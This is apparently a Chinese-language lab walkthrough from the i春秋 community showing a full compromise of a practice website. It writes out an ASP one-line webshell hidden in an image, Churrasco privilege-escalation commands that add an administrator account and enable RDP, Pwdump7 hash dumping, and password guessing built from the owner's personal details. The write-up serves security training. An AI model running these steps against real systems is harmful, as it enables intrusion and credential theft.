02-在线挑战详细攻略-《网站综合渗透实验》
作者:独狼1927
来源:02-在线挑战详细攻略-《网站综合渗透实验》
系列文章:
01-在线挑战详细攻略-《我很简单,请不要欺负我》
03-在线挑战详细攻略-《又见DZ,我能拿你怎么办》
04-在线挑战详细攻略-《2015中国网络安全大赛:Reinstall真题》
05-在线挑战详细攻略-《2015中国网络安全大赛:框架漏洞真题》
<h1>Step 0</h1>
实验环境
操作机:Windows XP [172.16.11.2]
目标网址:www.test.com [172.16.12.2]
ps:www.test.com www.test.ichunqiu都是可以的
实验工具:
中国菜刀 ipscan MD5Crack2
Domain3.6 NTscan字典 saminside
SuperScan30 X-Scan-v3.3
亦思想社会工程学字典生成器
本实验要求获取www.test.com网站的服务器权限。
ps:图片可单击放大观看。
<h1>Step 1</h1>
从题目要求可以看出,这个实验明显是要突出社会工程学,所以搜集信息就是必须的了,尽可能的搜集!
打开浏览器,进入网站首页,眼尖的童鞋会发现菜单最右边写着 [摄影论坛],果断进入论坛转转;





注意签名栏:生于唐山大地震!中国人应该都知道唐山大地震是哪一年发生的吧~

Linhai的出生年份已经搞定,回到秋潮视觉工作室首页,页面底部有linhai的电子邮箱,0812很有可能就是linhai的生日;还有他的QQ号:1957692;
综上所述,我们目前获得的信息包括:
用户名:Linhai
出生日期: 1976年08月12日
Email:linhai0812@21cn.com
QQ:1957692
顺带着发现了后台入口…


当然绝大多数后台是不会直接爆出来的,得用工具;
目录扫描
工具:御剑 路径:C:\Tools\目录扫描
打开御剑,在域名中输入http://www.test.com,开始扫描


<h1>Step 2</h1>
工具:旁注WEB综合检测程序Ver3.6修正版
路径:C:\Tools\注入工具\Domain3.6\Domain3.6.exe

















<h1>Setp3</h1>
打开后台登录页面,输入用户名linhai,密码linhai19760812,输入验证码,点击 [登陆] 按钮登录后台;


在桌面上新建一个文本文件,在里面写入一句话木马
<code><%Eval Request("ichunqiu")%></code>
后面随便输入一些内容,纯粹是为了增加图片体积,但要注意,几十Kb足矣,体积太大太小都不行;







打开 [中国菜刀] 连接一句话木马;
工具:中国菜刀 路径:C:\Tools\webshell\中国菜刀\chopper.exe





下一步,添加账户-->开启3389-->远程桌面连接-->获取管理员账户密码;
<h1>Step 4</h1>
进入C:\RECYCLER目录,准备上传提权工具;

提权工具包括Churrasco.exe,3389,cmd,路径:C:\Tools\提权工具\windows

Churrasco.exe 中文名:巴西烤肉!
Churrasco.exe是Windows2003系统下的一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。
补丁名:KB956572 MS09-012
使用方法:
<code>Churrasco "net user hacker 123 /add && net localgroup administrators hacker /add"</code>
两行命令的意思分别是:
netuser hacker 123 /add -->添加一个用户名为hacker、密码为123的账户;
netlocalgroup administrators hacker /add -->将账户hacker添加到管理员组;
开始上传工具,选中这三个文件,用鼠标直接拖到中国菜刀中,即可完成上传;

下一步,执行提权操作;右键cmd.exe,选择 [虚拟终端]

成功进入,将目录切换到C:\RECYCLER

用Churrasco.exe执行cmd命令,添加账户;
<code>Churrasco "net user hacker 123 /add"</code>

账户添加成功,继续下一步,将新增的账户添加到管理员组;
<code>Churrasco "net localgroup administrators hacker /add"</code>

添加成功,下一步,开启3389;
<code>Churrasco 3389</code>

如果出现如上图中的命令,说明执行成功了,不成功就多执行几次命令,下一步,连接目标机;
[开始]-->[运行]-->mstsc

如果找不见目标IP地址,请点击右上角 [场景拓扑图] 进行查看:

输入目标IP地址:172.16.12.2,开始连接,继续输入用户名hacker和密码123,进入系统;


3389连接成功!下一步,获取系统管理员密码,准确的说是获取系统管理员密码的hash,上传密码获取工具 [中国菜刀];
工具很多,这里我们使用Pwdump7;

工具:Pwdump7 路径: C:\Tools\提权工具\hash\Pwdump7;[ 注意,一定要将libeay32.dll一并上传,否则执行不了 ]

上传成功!

进入目标机,将CMD目录切换到RECYCLER,运行一条命令:
<code>Pwdump7 > hash.txt</code>

运行成功后,会在同一目录下生成一个文本文件hash.txt;

打开hash.txt,成功获取到administrator的hash:
3C8D6C158F6FB3D1FDCFC2AFB2D1BE34:594B9CD2577A5AC2BE0CA522D5EC6ACE

暂时切换出实验环境,在你的电脑上打开浏览器输入
http://www.objectif-securite.ch/en/ophcrack.php,在页面的相应位置输入hash,然后GO
ps:如果打不开就翻墙,或者用其他类似功能的网站也可以,这样的站很多;

最终输出结果:

<h1>Step 5</h1>
数据库sa密码在哪找?
WEB应用与数据库之间会有一个配置文件,用来保存数据库连接信息,包括数据库驱动、数据库名、用户名、密码等信息,找到这个文件就找到了密码
文件名:conn_old.asp
路径: C:\Inetpub\wwwroot\conn_old.asp

打开文件即可见到Password;

<h1>Step 6</h1>
Linhai论坛登录密码在哪里?
进入C:\Inetput\wwwroot\bbs\Data
发现有ldb文件,一般情况下肯定有mdb文件,看体积应该是dtxy.asp这个文件;

把这个文件通过菜刀下载到本地,用Domain3.6或其他数据库浏览器工具查询即可;

把dtxy.asp修改为数据库文件dtxy.mdb;

打开Domain3.6,点击 [数据库管理]-->[文件]-->[打开数据库],找到文件dtxy.mdb并打开;

找到表LeadBBS_User,第三条记录就是linhai,密码hash:e10adc3949ba59abbe56e057f20f883e

暂时撤出实验环境,用你本机的浏览器打开http://www.cmd5.com,输入密文,点击破解~

本次实验到此结束,希望对大家有所帮助,有不足之处请多多指正!
下一讲:《又见DZ,我能拿你怎么办》
ps:部分知识点的内容转自网络;路漫漫其修远兮,感谢一路上黑友们的帮助@lonnyboy;
Dareand the world always yields.
--END--
本文来自:i春秋社区